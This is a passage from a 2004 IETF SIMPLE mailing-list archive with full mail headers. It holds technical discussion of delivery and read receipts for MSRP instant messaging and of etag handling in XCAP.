	for <simple@ietf.org>; Wed, 3 Mar 2004 02:02:17 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQOW-0004PY-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:02:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQNf-0004Gj-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:01:23 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQMs-00042G-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:00:34 -0500
Received: from sj-core-5.cisco.com (171.71.177.238)
  by sj-iport-3.cisco.com with ESMTP; 02 Mar 2004 23:12:24 +0000
Received: from mira-sjc5-b.cisco.com (IDENT:mirapoint@mira-sjc5-b.cisco.com [171.71.163.14])
	by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id i23703iQ017766;
	Tue, 2 Mar 2004 23:00:03 -0800 (PST)
Received: from [127.0.0.1] (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-b.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AQV46372;
	Tue, 2 Mar 2004 23:00:01 -0800 (PST)
In-Reply-To: <404542A7.4000001@nokia.com>
References: <ABEA1AEE-6C8E-11D8-82FB-0003938AF740@cisco.com> <404542A7.4000001@nokia.com>
Mime-Version: 1.0 (Apple Message framework v612)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <819598C9-6CE0-11D8-99D4-0003938AF740@cisco.com>
Content-Transfer-Encoding: 7bit
Cc: simple@ietf.org, Rohan Mahy <rohan@cisco.com>
From: Rohan Mahy <rohan@cisco.com>
Subject: Re: [Simple] return receipt and delivery status notification for MSRP
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
X-Mailer: Apple Mail (2.612)
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 16:00:50 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Hi,

I was trying to gather reqs for MSRP.  I don't think it is appropriate 
to offer a full range of services for page-mode.

Because relays can chunk and acknowledge SEND requests hop by hop, it 
is useful to get positive acknowledgments that you wouldn't have 
otherwise.  For the human typing text to a human I agree you probably 
don't need e2e message delivery notification, but part of my point was 
that there are several different applications.

thanks,
-rohan


On Mar 3, 2004, at 11:27 AM, Niemi Aki (Nokia-M/Espoo) wrote:

> Hi Rohan,
>
> I'm a little confused whether we're talking about MSRP or page-mode, or
> both here.
>
> I definitely agree that there is a need to get both bounces back to the
> client (e.g. when the MESSAGE receives a 202 and is stored but later
> delivery fails, or when using a message list server, where some
> recipients return a non 2xx response); and also read-reports for when 
> an
> IM was actually rendered to a user and thus read.
>
> I think these features are tremendously useful for page mode, but I'm
> not sure they're all that useful for MSRP, which is already an
> interactive form of communication. I.e., if I don't get my message
> across, I can send it again - this time in block letters...
> Cheers,
> Aki
>
> ext Rohan Mahy wrote:
>> Hi,
>> I wanted to record an observation about how optional return receipt
>> and delivery status notification should be for MSRP. This was
>> inspired by Eric Burger's comments at the mic about how positive and
>> negative acknowledgments have a different character.
>> Positive Acknowledgments: I may want to know about partial message
>> delivery so I can interrupt and resume-in-place when transferring a
>> large IM attachment (walk into the elevator example).
>> I may want to know just that a complete message was delivered
>> I may want to know that a complete message is queued/stored for user
>> pickup
>> I may want to know that a complete message was displayed to the
>> target end user
>> I may want to receive no messages at all about e2e delivery status
>> Negative Acknowledgements I may want to know that a message was not
>> delivered due to a relay error and why
>> I may want to know that a message was not delivered because of a UA 
>> error (and why)
>> I may not care if messages don't get delivered e2e (expecting just
>> best effort)
>> We should figure out a way to indicate which of these you want.  The
>>  mail folks have dealt with very, very similar problems.
>> Homework assignment for the working group: read and understand the 
>> semantics of Delivery Status Notifications (RFC 3464) and Return 
>> Receipts/Message Disposition Notifications (RFC 2298)
>> thanks, -rohan
>> _______________________________________________ Simple mailing list 
>> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 02:08:37 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA17225
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 02:08:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQUd-0005k7-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:08:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQTS-0005UR-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:07:23 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQSJ-0005CE-00; Wed, 03 Mar 2004 02:06:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQSD-00087u-2s; Wed, 03 Mar 2004 02:06:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQRx-00082P-VI
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:05:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA13763
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:05:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQRu-00052o-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:05:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQQo-0004or-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:04:39 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQPm-0004cw-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:03:34 -0500
Received: from esdks002.ntc.nokia.com (esdks002.ntc.nokia.com [172.21.138.121])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2373YZ19854
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:03:34 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:03:26 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks002.ntc.nokia.com (8.12.9/8.12.9) id i2373Qof010554
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:03:26 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks002.ntc.nokia.com 00TrfTEz; Wed, 03 Mar 2004 09:03:25 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2373P721270
	for <simple@ietf.org>; Wed, 3 Mar 2004 09:03:25 +0200 (EET)
Received: from mgw.research.nokia.com ([172.21.33.76]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:03:21 +0200
Received: from xitami.research.nokia.com (xitami.research.nokia.com [172.21.40.110])
	by mgw.research.nokia.com (8.9.3/8.9.3) with ESMTP id JAA04584;
	Wed, 3 Mar 2004 09:03:33 +0200 (EET)
Subject: Re: [Simple] Etags issue in XCAP
From: Jari Urpalainen <Jari.Urpalainen@nokia.com>
To: "ext Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
Cc: simple@ietf.org
In-Reply-To: <40452ED0.9090206@nokia.com>
References: <40452ED0.9090206@nokia.com>
Content-Type: text/plain
Message-Id: <1078297400.14408.12.camel@xitami.research.nokia.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 03 Mar 2004 07:03:21.0064 (UTC) FILETIME=[9CC54680:01C400ED]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 09:03:20 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

On Wed, 2004-03-03 at 03:03, ext Niemi Aki (Nokia-M/Espoo) wrote:
> Hi,
> 
> Currently etags are returned for all elements in the XCAP tree. Although
> they may be scoped in an application specific manner, I think we need to
> also allow for a case where for a particular element the XCAP server
> never returns an etag. This is because there may be elements for which
> it doesn't matter what the original content was when adding/deleting.
> 
> For example, in the CPCP application usage, the <conference-info>
> element contains a <subject> element that describes the current topic of
> the conference. There is really no need to care what the original topic
> was if a user with appropriate rights wants to change it. So instead of
>    having to first GET it, and receive an etag, the user would "blindly"
> PUT a <subject> with a new value without using the If-Match precondition.
> 
> This would be especially useful for elements that may be relatively
> large. Having to GET the content before any changes to it can be made
> may result in starvation of a client behind a low speed link. I.e., the
> etag that the client finally receives is already invalidated by 
> concurrent updates from clients behind faster links.
> 
> For example, in the CPCP ACL element, again a client is only interested
> in adding or expelling a particular user. It doesn't care what the
> original contents of the ACL was. It would be OK just to blindly add or
> delete a matching element.
> 
> So my proposal is that in addition to defining the scope of returned
> etags, an XCAP application usage can also define for which elements no
> etags are ever returned. A client that receives a document without the
> ETag header field would know that this document (element) allows for
> blind modifications.
> 
> How does this sound?
> 
> Cheers,
> Aki

As in rfc2616 "If-Match: *" is allowed it would IMHO do the trick.

BR, 
Jari


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 02:29:32 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04270
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 02:29:32 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQot-0001KL-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:29:31 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQme-0000mV-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:27:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQlZ-0000ay-00; Wed, 03 Mar 2004 02:26:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQlU-0006w6-VA; Wed, 03 Mar 2004 02:26:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQWT-00021v-E4
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:10:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA19506
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:10:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQWP-00068h-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:10:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQVm-0005yq-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:09:47 -0500
Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly01b.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQUs-0005hp-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:08:51 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly01b.srv.mailcontrol.com (MailControl) with SMTP id i2378IVe004955;
	Wed, 3 Mar 2004 07:08:20 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-b.mailcontrol.com [217.68.146.190]) with SMTP; Wed, 3 Mar 2004 07:08:15 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <45730E094814E44488F789C1CDED27AE0219B1E6@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZkAF4ajjAABsLBcA==
From: "Chris Boulton" <cboulton@ubiquity.com>
To: "Eric Burger" <eburger@snowshore.com>
Cc: <simple@ietf.org>
X-Scanned-By: MailControl A-01-00-04-90 (www.mailcontrol.com)
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 07:07:16 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: base64

Q29tbW9uIHNjZW5hcmlvOg0KWW91IHNlbmQgbWUgYW4gSU0uICBNeSBkZXZpY2UgcmVjZWl2ZXMg
dGhlIG1lc3NhZ2UsIGZvcndhcmRzIGl0IHRvIG1lLCBJIHJlYWQgaXQuICBJcyBteSBkZXZpY2Ug
Z29pbmcgdG8gc2VuZCB5b3UgdHdvIG1lc3NhZ2VzLCBhIHByb3Zpc2lvbmFsIE1ETiBzYXlpbmcg
SSBnb3QgdGhlIG1lc3NhZ2UgYW5kIGEgZmluYWwgTUROIHNheWluZyBJIHJlYWQgdGhlIG1lc3Nh
Z2U/ICBEb2Vzbid0IFNJUCB0ZWxsIHlvdSBpZiBteSBkZXZpY2UgZ290IHRoZSBtZXNzYWdlPw0K
DQo8PENKQj4+IFNJUCB0ZWxscyB5b3UgdGhhdCB0aGUgdHJhbnNhY3Rpb24gaGFzIGNvbXBsZXRl
ZCAtIG5vdCB0aGF0IGl0IGhhcyBiZWVuIGRlbGl2ZXJlZCB0byB5b3VyIGRldmljZS4gIFNheSBJ
IHNlbmQgeW91IGEgbWVzc2FnZSAtIHlvdXIgbW9iaWxlIGhhbmRzZXQgaXMgdHVybmVkIG9mZiAt
IHNvIG15IGxvY2FsIHN0b3JhZ2UgcmV0cmlldmFsIHNlcnZpY2UgcmV0dXJucyBhIDJ4eCAtIHRo
aXMgZG9lc24ndCBtZWFuIHRoYXQgdGhlIG1lc3NhZ2UgaGFzIGJlZW4gZGVsaXZlcmVkICsgcmVh
ZC4NCiANCllvdSBhcmUgYWxzbyBhc3N1bWluZyB0aGF0IGEgdXNlciByZWFkcyBhIG1lc3NhZ2Ug
YXMgc29vbiBhcyBpdCBpcyByZWNlaXZlZC4gDQoNCiANCg0KDQpMaWtlbHkgU2NlbmFyaW86DQpZ
b3Ugc2VuZCBtZSBhbiBJTS4gIE15IGRldmljZSByZWNlaXZlcyB0aGUgbWVzc2FnZSwgY3JlYXRl
cyBhIHByb3Zpc2lvbmFsIE1ETiwgYmVjYXVzZSBteSBkZXZpY2UgaXMgb25saW5lLiAgVGhlIE1E
TiBzYXlzIHRoZSByZWxheSBoYXMgcmVjZWl2ZWQgdGhlIG1lc3NhZ2UsIGJ1dCBoYXMgbm90IGRl
bGl2ZXJlZCBpdC4NCg0KVW5mb3J0dW5hdGVseSwgSSd2ZSB0dXJuZWQgb2ZmIG15IGRldmljZSwg
YmVjYXVzZSBJIGFtIGdvaW5nIHRvIEtvcmVhIGZvciBhIHdlZWsuDQoNCkFyZSB5b3Ugc3VnZ2Vz
dGluZyB0aGUgSU0gcmVsYXkgc2hvdWxkIG9wZW4gYSBzZXNzaW9uIG1vZGUgY29ubmVjdGlvbiBh
bmQgbGVhdmUgaXQgdXAgZm9yIGEgd2VlayB1bnRpbCBJIGdldCBiYWNrPw0KDQoNCg0KDQo+IC0t
LS0tT3JpZ2luYWwgTWVzc2FnZS0tLS0tDQo+IEZyb206IENocmlzIEJvdWx0b24gW21haWx0bzpj
Ym91bHRvbkB1YmlxdWl0eS5jb21dDQo+IFNlbnQ6IE1vbmRheSwgTWFyY2ggMDEsIDIwMDQgMjow
MSBBTQ0KPiBUbzogUGF1bCBLeXppdmF0OyBFcmljIEJ1cmdlcg0KPiBDYzogc2ltcGxlQGlldGYu
b3JnDQo+IFN1YmplY3Q6IFJFOiBbU2ltcGxlXSBSRTogQWR2YW5jZWQgSU0gcmVxdWlyZW1lbnRz
DQo+DQo+DQo+IA0KPg0KPiAgICAgICAtLS0tLU9yaWdpbmFsIE1lc3NhZ2UtLS0tLQ0KPiAgICAg
ICBGcm9tOiBQYXVsIEt5eml2YXQgW21haWx0bzpwa3l6aXZhdEBjaXNjby5jb21dDQo+ICAgICAg
IFNlbnQ6IE1vbiAwMS8wMy8yMDA0IDA2OjQ0DQo+ICAgICAgIFRvOiBFcmljIEJ1cmdlcg0KPiAg
ICAgICBDYzogc2ltcGxlQGlldGYub3JnDQo+ICAgICAgIFN1YmplY3Q6IFJlOiBbU2ltcGxlXSBS
RTogQWR2YW5jZWQgSU0gcmVxdWlyZW1lbnRzDQo+ICAgICAgDQo+ICAgICAgDQo+DQo+DQo+DQo+
ICAgICAgIEVyaWMgQnVyZ2VyIHdyb3RlOg0KPiAgICAgICA+IEkgYWdyZWUuICBBZ2FpbiwgdGhp
cyBoaWdobGlnaHRzIHdoeSBJTUROIGlzIGF0IHRoZQ0KPiBDUElNLCBhbmQgbm90IFNJUCwgbGV2
ZWwuDQo+ICAgICAgID4NCj4gICAgICAgPiBGdXJ0aGVyLCB3aGF0IGlzIHRoZSB1c2UgY2FzZSBm
b3IgTUROIGluIHNlc3Npb24NCj4gbW9kZT8gIFdvdWxkIGFueW9uZSBFVkVSIHVzZSBpdD8gIEkg
ZG91YnQgaXQ6IGlmIHlvdSBhcmUgaW4gYQ0KPiBzZXNzaW9uLCBwcmVzdW1hYmx5IHlvdSBhcmUg
aW50ZXJhY3RpdmUsIHdoaWNoIG1lYW5zIHlvdSBoYXZlDQo+IE9PQiBtZXRob2RzIGZvciBrbm93
aW5nIHRoZSBtZXNzYWdlIHdhc24ndCByZWFkIChlLmcuLCBubw0KPiByZXNwb25zZSBmcm9tIHRo
ZSBvdGhlciBwZXJzb24pLg0KPiAgICAgIA0KPiAgICAgICBJIGFncmVlIGl0IGRvZXNuJ3Qgc2Vl
bSBsaWtlIHNvbWV0aGluZyB0aGF0IG5vcm1hbGx5DQo+IHdvdWxkIGJlIHVzZWQuIEJ1dA0KPiAg
ICAgICB0aGVyZSBtYXkgYmUgc29tZSBjYXNlcy4gSSBtYXkgd2FudCBleHBsaWNpdCBjb25maXJt
YXRpb24gdGhhdCBhDQo+ICAgICAgIHBhcnRpY3VsYXIgbWVzc2FnZSBoYXMgbm90IG9ubHkgYmVl
biBkZWxpdmVyZWQsIGJ1dA0KPiByZWFkLiAoVGhpcyBtaWdodA0KPiAgICAgICByZXF1aXJlIHRo
ZSBVQVMgdG8gZGVtYW5kIHNvbWUgZXhwbGljaXQgY29uZmlybWF0aW9uDQo+IGZyb20gdGhlIGVu
ZCB1c2VyDQo+ICAgICAgIGJlZm9yZSBzZW5kaW5nIHRoZSBjb25maXJtYXRpb24uKQ0KPg0KPiAg
ICAgICA8PENKQj4+IFRoaXMgaXMgY2VyYXRhaW5seSB0aGUgcmVhc29uIEkgYWxsb3dlZCBmb3IN
Cj4gbW9yZSB0aGFuIG9uZSByZWNlaXB0IHBlciB0cmFuc2FjdGlvbi4gIFRoZSBub3Rpb24gb2YN
Cj4gZGVsaWV2ZXJ5ICsgcmVhZCByZWNlaXB0cyBpcyBzb21ldGhpbmcgdGhhdCBpcyBxdWl0ZQ0K
PiBiZW5lZmljaWFsICsgY29waWVzIGN1cnJlbnQgU01TLg0KPg0KPiAgICAgIA0KPiAgICAgIA0K
PiAgICAgICBBbm90aGVyIGNhc2UgaXMgd2l0aCBhbiBJTSBjb25mZXJlbmNlLiBJZiBJIHNlbmQg
YQ0KPiBtZXNzYWdlIHRvIHRoZSBtaXhlciwNCj4gICAgICAgcmVxdWVzdGluZyBjb25maXJtYXRp
b24sIGlkZWFsbHkgdGhhdCB3b3VsZCBiZSBhbg0KPiBlbmQtdG8tYWxsLWVuZHMNCj4gICAgICAg
Y29uZmlybWF0aW9uLiBUaGUgbWl4ZXIgd291bGQgaGF2ZSB0byByZXF1ZXN0IGFuZA0KPiByZWNl
aXZlIGNvbmZpcm1hdGlvbg0KPiAgICAgICBmcm9tIGFsbCByZWNpcGllbnRzIGJlZm9yZSBjb25m
aXJtaW5nIHRvIHNlbmRlci4NCj4gICAgICANCj4gICAgICAgPiBHaXZlbiB0aGF0IGFzc2VydGlv
biwgY2FuIHdlIHNheSBJTUROJ3MgYXJlIHBhZ2UgbW9kZQ0KPiBtZXNzYWdlcy4NCj4gICAgICAN
Cj4gICAgICAgQmFzZWQgb24gYWJvdmUsIEkgc2F5IE5PLg0KPg0KPiAgICAgICA8PENKQj4+IFNv
cnJ5IFBhdWwsIEknbSB3aXRoIEVyaWMgYW5kIHN0aWxsIGp1c3QgZG9uJ3QNCj4gc2VlIHdoZW4g
dGhpcyB3b3VsZCBiZSB1c2VkLg0KPiAgICAgIA0KPiAgICAgICAgICAgICAgIFBhdWwNCj4gICAg
ICANCj4gICAgICANCj4gICAgICAgX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX18NCj4gICAgICAgU2ltcGxlIG1haWxpbmcgbGlzdA0KPiAgICAgICBTaW1wbGVA
aWV0Zi5vcmcNCj4gICAgICAgaHR0cHM6Ly93d3cxLmlldGYub3JnL21haWxtYW4vbGlzdGluZm8v
c2ltcGxlDQo+IDxodHRwczovL3d3dzEuaWV0Zi5vcmcvbWFpbG1hbi9saXN0aW5mby9zaW1wbGU+
DQo+ICAgICAgDQo+DQo+DQo+DQo+IFRoaXMgbWVzc2FnZSBoYXMgYmVlbiBzY2FubmVkIGZvciB2
aXJ1c2VzIGJ5IE1haWxDb250cm9sIC0NCnd3dy5tYWlsY29udHJvbC5jb20NCkop6ZqKWFgoV3oI
bT8gMCd+ZmZYKd+jIl4NCg0K

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 02:30:05 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04670
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 02:30:04 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQoy-0007u0-IQ
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 02:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i237Tale030370
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 02:29:36 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQoy-0007th-3D
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 02:29:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA04279
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 02:29:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQot-0001KS-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:29:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQmf-0000mc-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 02:27:13 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQlZ-0000ay-00; Wed, 03 Mar 2004 02:26:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQlU-0006w6-VA; Wed, 03 Mar 2004 02:26:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyQWT-00021v-E4
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:10:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA19506
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:10:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQWP-00068h-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:10:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyQVm-0005yq-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:09:47 -0500
Received: from cluster-b.mailcontrol.com ([217.68.146.190] helo=rly01b.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyQUs-0005hp-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:08:51 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly01b.srv.mailcontrol.com (MailControl) with SMTP id i2378IVe004955;
	Wed, 3 Mar 2004 07:08:20 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-b.mailcontrol.com [217.68.146.190]) with SMTP; Wed, 3 Mar 2004 07:08:15 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <45730E094814E44488F789C1CDED27AE0219B1E6@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] RE: Advanced IM requirements
Thread-Index: AcP/WS2pe/1bJGJLR7qkQevqyICaeAAAOUZkAF4ajjAABsLBcA==
From: "Chris Boulton" <cboulton@ubiquity.com>
To: "Eric Burger" <eburger@snowshore.com>
Cc: <simple@ietf.org>
X-Scanned-By: MailControl A-01-00-04-90 (www.mailcontrol.com)
Content-Transfer-Encoding: base64
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 07:07:16 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
